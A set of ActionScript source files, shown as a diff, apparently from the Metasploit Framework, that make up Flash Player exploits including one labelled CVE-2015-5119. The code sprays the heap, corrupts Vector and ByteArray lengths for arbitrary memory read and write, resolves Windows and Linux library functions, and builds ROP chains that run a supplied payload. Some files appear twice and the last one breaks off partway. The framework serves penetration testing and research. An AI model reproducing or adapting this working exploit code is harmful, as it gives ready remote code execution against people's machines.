private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public var bytes:Class;
public var video:Video = new Video(640, 480);
public var vecVectors:Vector.<Object>;
public function Exploit():void {
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
addChild(video)
var nc:NetConnection = new NetConnection()
nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect)
nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace)
var metaSniffer:Object=new Object()
metaSniffer.onMetaData=getMeta
nc.connect(null)
var ns:NetStream = new NetStream(nc)
ns.client = metaSniffer
video.attachNetStream(ns)
vecVectors = new Vector.<Object>(0x1000)
for ( var i:uint = 0; i < vecVectors.length; ++ i ) {
vecVectors[i] = new Vector.<uint>((0x2000 - 8) / 4);
vecVectors[i][0] = 0xdeedbeef;
}
for ( i = 0; i < vecVectors.length; i += 2 ) {
vecVectors[i] = null;
}
ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged)
ns.play("poc2.flv")
}
private function go():void {
var bigVector:Vector.<uint> = null;
for ( var i:uint = 0; i < vecVectors.length; i++ ) {
if (vecVectors[i] == null) continue
if ( vecVectors[i].length > (0x2000 - 8) / 4 ) {
bigVector = vecVectors[i] as Vector.<uint>
}
}
if ( null == bigVector ) {
return;
}
for ( i = 0; i < 0x2000; i++ ) {
if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) {
bigVector[0x3fffffff] = bigVector[i + 1]
break
}
}
for ( i = 0; i < vecVectors.length; i++ ) {
if (vecVectors[i] == null) continue
if (vecVectors[i].length != 0x7fe) {
delete(vecVectors[i])
vecVectors[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe)
}
private function statusChanged(stats:NetStatusEvent):void {
if (stats.info.code == 'NetStream.Play.Stop') {
WaitTimer(1000)
go()
}
}
private function getMeta (mdata:Object):void {
video.width=mdata.width/2
video.height=mdata.height/2
}
private function onConnect(e:NetStatusEvent):void {
return
}
private function WaitTimer(time:int):void{
var current:int = getTimer()
while (true) {
if ((getTimer() - current) >= time) break
}
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,75 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint
public function ExploitVector(v:Vector.<uint>, length:uint)
{
uv = v
original_length = length
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv, uv_length)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg
if(ExternalInterface.available){
ExternalInterface.call("alert", str)
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg
if(ExternalInterface.available){
ExternalInterface.call("console.log", str)
}
}
}
}

View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

235
external/source/exploits/CVE-2015-5119/Elf.as vendored Executable file
View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,37 @@
// Build with Flex SDK 4.6 + AIR 3.1
package
{
import flash.display.Sprite
import flash.events.Event
import mx.utils.Base64Decoder
import flash.display.LoaderInfo
import flash.utils.ByteArray
public class Exploit extends Sprite
{
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
public function Exploit():void
{
//trace("Got to checkpoint 0");
if (stage) init();
else addEventListener(Event.ADDED_TO_STAGE, init);
}
private function init(e:Event = null):void
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
removeEventListener(Event.ADDED_TO_STAGE, init);
Logger.log('TryExpl...')
MyClass.TryExpl(this, platform, payload)
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,75 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint
public function ExploitVector(v:Vector.<uint>, length:uint)
{
uv = v
original_length = length
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,367 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var magic:uint
private var magic_arg0:uint
private var magic_arg1:uint
private var magic_object:uint
private var magic_table:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stub_address:uint
private var stub_space_object:uint
private var stub:Vector.<uint> = new Vector.<uint>(8)
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
{
exploit = exp
payload = p
platform = pl
ev = new ExploitVector(uv, uv_length)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
static function Magic(...a){}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
// mov eax,[esp+0x4]
// xchg eax,esp
// rets
stub[0] = 0x0424448B
stub[1] = 0x0000C394
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
spray[i][4] = Magic
spray[i][5] = stub
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
